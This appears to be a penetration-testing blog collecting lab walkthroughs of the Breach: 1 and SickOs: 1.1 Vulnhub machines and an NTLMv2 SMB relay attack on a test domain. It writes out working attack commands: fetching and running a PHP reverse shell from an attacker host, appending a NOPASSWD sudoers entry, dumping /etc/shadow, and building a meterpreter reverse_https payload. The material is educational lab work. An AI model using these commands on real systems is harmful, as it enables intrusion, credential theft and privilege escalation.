Author: badcypher

Breach: 1 Walkthrough

Breach: 1 Vulnhub Page

Thanks to @mrb3n813 for the challenge!

Attack Narrative:

Setup networking between the Breach VM and the Kali VM.

Next, I performed a standard Nmap SYN scan on the system with very odd results. All ports reported back as open indicating some sort of IDS/IPS/Firewall in play here. So instead I used Ncat for manual TCP port enumeration, starting with port 80 (HTTP). This approach was able to fingerprint an active web service on the Breach host, Apache/2.4.7 (Ubuntu).

I setup Burp Suite and Iceweasel, and proxy’d another GET request to the Breach HTTP service. Looking at the page source, we find a nice nugget of info:

Base64 encoded data, took 2 rounds of decoding:
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh
pgibbons:damnitfeel$goodtobeagang$ta

With the new found creds, I check to see if FTP or SSH are running via Ncat enumeration. No such luck, both ports return odd value. I will have to hold on to the creds for a minute.

Next, I spider the site with Burp looking for additional directories, pages, images, and web forms. I start with the images directory.

 

I pull every file down, and run it through exiftool looking for hidden information in meta data. The image bill.png contained an attribute called ‘Comments’ with the value ‘coffeestains’. This was noted for later use, appears to be someone’s password, probably an account associated with Bill Blumbergh.

The spider crawl also identified a content management system installed on the server called ImpressCMS. There is a login form on the main page, so I attempt to authenticate with the pgibbons:damnitfeel$goodtobeagang$ta account found earlier…..success!! Our first taste of unauthorized access!!! We start by looking through the user’s Inbox and start reading the messages for intel.

In the first message, the ImpressCMS Admin (aka Bob) tells Peter they did not know what to do with our new purchase of Super Secret Cert Pro, so they dropped our keystore on the public webserver…..good move.

Not sure how the keystore comes into play yet, but we grab it anyway.

We run strings against the downloaded Java Keystore file and find the string ‘tomcat’. We take note for future potential use, maybe passphrase used for keystore encryption???

The second message is from Michael Bolton, and confirms our suspicion that there was an IDS/IPS in play on the server.

The final message is from Bob, the ImpressCMSAdmin, who tells everyone to post sensitive artifacts to the admin portal, and then makes a telling statement about passwords: “My password is extremely secure. If you could go ahead and tell them all that’d be great. -Bill ”

We know Bill is the ImpressCMS Admin, so we try to login as admin with the password found in the meta data of the bill.png image, ‘coffeestains’……success!!! We are now an admin on ImpressCMS.

We select the Content menu option, and find more juicy intel. We find a message titled ‘SSL implementation test capture’ written by Peter. In it he describes a packet capture used by the red team to reproduce the attack. The file is available at the following link: http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

Also, Peter says: ” They told me the alias, storepassword and keypassword are all set to ‘tomcat’. Is that useful?? Does anyone know what this is? I guess we are securely encrypted now?” This matches the string we found from the output of the strings command against the .keystorefile. I grab a copy of the pcap and open it in Wireshark, and……..its encrypted traffic.

So, we are going to have to decrypt this traffic to see how the threat actors attacked this server. There are some good resources out there that will show you how to do this. I have to give a shout out to https://www.tbs-certificates.co.uk/FAQ/en/627.html who showed me how to create the PKCS#12 file from the Java keystorefile using keytool. Like we read in the message from Peter, and saw from the strings output against the .keystorefile, I use ‘tomcat’ for the destination keystorepassword and source keystorepassword.

We configure Wireshark accordingly to decrypt the packet capture with the P12 file: IP address 192.168.110.140, communication over port 8443, protocol will be HTTP, key file will be breach.p12, and password will be ‘tomcat’.

Apply the new configuration, and bingo, decrypted traffic!

Off the bat we see host 192.168.110.129 was accessing the /_M@nag3Me/html page on the server. After an initial 401 Unauthorzied, the threat actor sends a subsequent GET request with an Authorization HTTP header which used Basic authentication. Wireshark is able to decode the Base64 to reveal the username password tomcat:Tt\\5D8F(#!*u=G)4m7zB.

After more review of the packet capture, I could see the attacker was able to upload a webshell to the server, /cmd/cmd.jsp. This form took a GET parameter ‘cmd’ containing a system command to be executed on the server. In the capture, the attacker is sending the ‘id’ command to be executed by the server:

Based on the subsequent response to this webshell request, the attacker did have remote code execution on the server. The server responds with the user ID under which the web instance is running, tomcat6.

Lets do the same thing the attacker did, and shell this bastard!! First we proxy a request for the /_M@nag3Me/htmlpage, and replace the Authorization HTTP header value with the one we pulled from the packet capture (NOTE: I dont know why, but every time I entered the password manually, it did not work).

Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

This is what I like!!! Round 2 of administrative unauthorized access, this time its the Tomcat Web Application Manager! Lets shell this bitch.

I quickly create a WAR file with the basic JSP webshell provided by Kali, after some slight modifications to match the server environment, and deploy it to the server. I then visit the page in Iceweasel, and get remote code execution on the server. Excellent.

NOTE: The next step of the attack had to be executed fast! Something on the server was deleting my WAR deployment about every 5 minutes.

I was able to determine the execution path for php, and uploaded and executed the php reverse shell from Kali with the following sequence of commands. In order to avoid any IDS/IPS issues, I use the callback TCP port 443 for the reverse shell.

wget http://attacker.IP/shell.txt -O /tmp/shell.txt
mv /tmp/shell.txt /tmp/shell.php
php -f /tmp/shell.php

Once I have the reverse shell going, I use the g0tmi1k Python trick for a better shell, and cat /etc/passwd and ls -al the /home directory looking for local user accounts. It seems Bill has a local account on the server, so I try to su to the blumbergh account with the pwd ‘coffeestains’…..success!!!

I check the sudo permissions for the blumbergh account, and stumble upon the following:

I cat the tidyup.sh file and find its the Tomcat cleanup script we had to deal with earlier! Every three minutes this script executes and deletes the webapps I have deployed on the Tomcat server. Gotcha.

Luckily, blumbergh is able to modify this file with his sudo access. Using tee, blumbergh can overwrite the file we privilege escalation commands, which are then will then executed as root. So, I overwrite the file with the following 3 lines:

  • echo “blumberghALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers (This lets the blumbergh user run any command as root without having to enter their password).
  • cat /etc/shadow > /tmp/holder.txt&& chmod777 /tmp/holder.txt (This dumps the hashes from the shadow file to a file in /tmp, that everyone can access).
  • php-f /home/blumbergh/shell.php (this runs my php reverse shell from earlier, only as root this time).

I reboot the machine to restart the tidyup.sh script, and hope for the best. Luckily, all three of the commands I used were executed as root successfully!

  • PHP Reverse Shell as Root

blumbergh Account with Sudo ALL:NOPASSWD

/etc/shadow Dumped to /tmp/holder.txt

Final step, cat the /root/.flag.txt file:

Awesome challenge, thanks again to @mrb3n813.

SickOs: 1.1 Walkthrough

https://www.vulnhub.com/entry/sickos-11,132/

Thanks to @D4rk36 for the challenge.

1. Identify the machine

  • Target will get IP via DHCP (VM placed on Host-only network); perform a /24 ARPscan to identify live hosts.
  • Attacking machine IP is 192.168.53.137, old Kali 1.1 machine (for some reason did not have Sana on my Mac, and was too lazy to bring it over from other box).

2. Full port Nmap scan of the target

3. Enumerate Squid Proxy, version 3.1.19

4. HTTP Enumeration – Testing found that port 80 on the target is open if request made using proxy.

5. HTTP Enumeration – Directory enumeration using Dirb, proxy’d through target. Found the robots.txt file, and a directory /wolfcms.

6. Exploit – Search exploit-db for WolfCMS vulnerabilities, found the following (https://www.exploit-db.com/exploits/36818/).

Reviewed PHP exploit code to identify the upload page.

Again, used curl to check to see if page existed on target. Received redirect to Administrative login, good sign.

After an hour of looking online for default WolfCMS creds, I tried admin/admin…..and it worked. I am such an idiot. Now we had admin access to the Wolf CMS instance.

Time to upload PHP shell with some slight modifications.

 Setup ncat listener on port 1234, request page via browser, and receive shell.

7. Privilege Escalation – Getting root.

Took a look at running services, found MySQL which was no surprise given Wolf CMS enumeration.

Reviewed Wolf CMS directory for sensitive files that may contain MySQL creds. Found config.php, and the password ‘john@123’.

Quickly took a look at the /home directory for local users and found sickos. Used hydra to test SSH access with the MySQL password and the user sickos. Success. Established stable remote access on the target using compromised creds.

Found that the sickos account had full sudo access (all commands) on the box. Dropped into root and displayed flag. Mission complete.

NTLMv2 and SMB Relay Using Metasploit and SMBRelayx

Sources:

Mark Baggett, SMB Relay Demystified and NTLMv2 Pwnage with Python – http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python

Mubix, MS08_068 + MS10_046 = FUN UNTIL 2018 – http://www.room362.com/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018/

Impacket, smbrelayx.py – SMB Relay Module, Alberto Solino – https://code.google.com/p/impacket/source/browse/trunk/examples/smbrelayx/smbrelayx.py?r=723

Microsoft SMB Digital Signing – http://technet.microsoft.com/en-us/library/jj852239(v=ws.10).aspx

Lab Setup:
– Windows 7 VM 1 – Compromised, existing low-privilege meterpreter session
– Windows 7 VM 2 – Unsuspecting victim, no access
– Windows Server 2012 VM – File Share / Domain Controller
– Kali Linux – Relay Server

Toolset
– Metasploit Meterpreter – existing low-privilege session
– Metasploit – post/windows/escalate/droplnk module
– Impacket – SMBRelayx utility with support for the NTLMv2 challenge-response authentication protocol.
– Windows CLI enumeration

Description: You have a meterpreter session running on a Windows 7 client under non-administrative privileges. An available file share on the HACKME domain controller provides read/write privileges to the “Domain Users” group. This post describes the setup for attempting to escalate privileges, and gain access to the domain controller, through an NTLMv2 SMB relay attack.

1. Identify an open file share within the domain that provides write permissions for regular domain users – for our purposes this share resides on the domain controller hackmedc.hackme.local.

2. Using mubix’s post/windows/escalate/droplnk post exploitation Metasploit module, create a shortcut (LNK file) with an ICON reference back to our SMB relay server.

3. Place the shortcut in the open share on the hackmedc domain controller.

4. Configure and launch the SMB relay using Impacket’s SMBRelayx utility (python).

5. When other clients view the file share, our shortcut will force them to make an SMB connection back to our relay server. We will take those credentials and use them against the hackme.local domain controller looking for remote code execution.

Conditions:

Microsoft’s MS08-068 Security Bulletin addressed the issue of relaying SMB credentials against the host from which they originated – however, we can still relay those credentials against a different host within our hackme.local domain. Info on MS08-068: https://technet.microsoft.com/en-us/library/security/ms08-068.aspx

In order to ensure NTLMv2 is the only challenge-response authentication protocol allowed, the Security Policy Network security: LAN Manager authentication level was set to Send NTLMv2 response only on the Windows 2012 server.

More info: http://technet.microsoft.com/en-us/library/cc738867(v=ws.10).aspx

Refer to the technet.microsoft.com link in the Sources section above for additional info on the Windows policy setting for combating SMB relay attacks. For our purposes, the Windows Server 2012 domain controller has been configured using Microsoft’s recommended best-practice settings:

Disable Microsoft Network Client: Digitally Sign Communications (Always).
Disable Microsoft Network Server: Digitally Sign Communications (Always).
Enable Microsoft Network Client: Digitally Sign Communications (If Server Agrees).
Enable Microsoft Network Server: Digitally Sign Communications (If Client Agrees).

Prep Game:

The SMB relay server is going to want an executable to launch on the target if the authentication is successful. This is where veil, and pyinstaller come into play to create a payload that can bypass AV. This post will not get into AV avoidance, that will be another post. For this example, the Windows 2012 server does not have AV installed so we will use msfpayload.

Use the following msfpayload command to create a rev-https payload in the form of a Windows executable file:

msfpayload windows/meterpreter/reverse_https lhost=192.168.58.128 lport=443 X > /var/www/revhttps.exe .

Execution:

1. Enumerate available shares on the hackmedc.hackme.local domain controller.

Drop into a shell on the meterpreter session and use the Windows net command to identify all the available shares on the domain controller.

– Low privilege meterpreter session:

– Determine the NetBIOS name for the domain controller: set logon server
– List the shares on the domain controller: net view \\hackmedc
– Determine the permissions for a specific share: icacls \\hackmedc\docs

Excellent, step one complete. The \\HACKMEDC\docs share provides write permissions for domain users (BUILTIN\Users:(I)(CI)(WD)). This is where we will place our shortcut file.

NOTE: The placement of the shortcut file is really the make or break point in this relay attack – we need to find a place/share that we can write to, that is also “frequented” by privileged domain users. Placing this file in an obscure folder on some distant share will probably decrease the success of this attack.

2. Create the shortcut (LNK) file and place on file share.

Background your low-privilege meterpreter session, and load mubix’s post/windows/escalate/droplnk Metasploit module. Check out the available options, and set the following appropriately:

– LHOST: Set to the IP address of your SMB Relay machine (Kali Linux box)
– SESSION: Set to the low-privilege meterpreter session currently established.

After configuring, run the module and the LNK file is created on the compromised host:

Now drop back into a shell on your low-privilege meterpreter session, and move the created LNK file to the open file share on the domain controller, hackmedc.hackme.local:

3. Configure and run Impacket’s SMBRelayx utility.

Now that we have our LNK file all setup, we need to configure and run our SMB relay. For this, we are going to use Impacket’s SMBRelayx utility since it provides support for NTLMv2 challenge-response authentication.

Note: In order to get SMBRelayx to run, I downloaded the current version of Impacket (http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket) and followed the recommendation of Mark Baggett in his post referenced above. Basically, I moved certain files imported by SMBRelayx into the smbrelayx directory within Impacket, specifically serviceinstall.py. Then I modified the import statement in smbrelayx.py to load this file directly from the current directory.

The two command line options required for smbrelayx are:

– h HOST : This is our target, the system we want to relay any SMB connections we grab against. For our example, we set this to the IP address of the domain controller hackmedc.hackme.local

– e FILE : Like we discussed before, this is the file that will be executed on the target host, if authentication is successful. For our example, we set this to the meterpreter/reverse_https Windows executable we created earlier.

Now that we have the LNK file in place, and our SMB relay running, the last setup piece is to start our Metasploit listener for the reverse-https connection back.

One option I like to define for my handler is the AutoRunScript setting. Migrating to another process right off the bat helps to maintain a meterpreter session for this attack (smbrelayx.py is going to delete the service created), so I set this to post/windows/manage/smart_migrate. For further details, refer here: http://www.rapid7.com/db/modules/post/windows/manage/smart_migrate

So after setting up the listener accordingly, I run it as a background job:

3. Setup complete, open for business.

There are other methods of forcing SMB connections besides the one mention in this post. Look into some of those other ways, and implement as many hooks as possible.

Lucky for us, an unsuspecting administrator named badcypher came along, opened the poisoned share containing our LNK file, and we replayed their creds against the domain controller. We authenticated, we performed remote code execution, we migrated, and we were in. Here is what you will see on the terminal running your SMBRelayx utility, and your Metasploit reverse-https listener:

Impacket SMBRelayx Utility

Meterpreter Reverse-HTTPS Handler

We now have a meterpreter https session on the domain controller, running under SYSTEM privileges….thats a good start.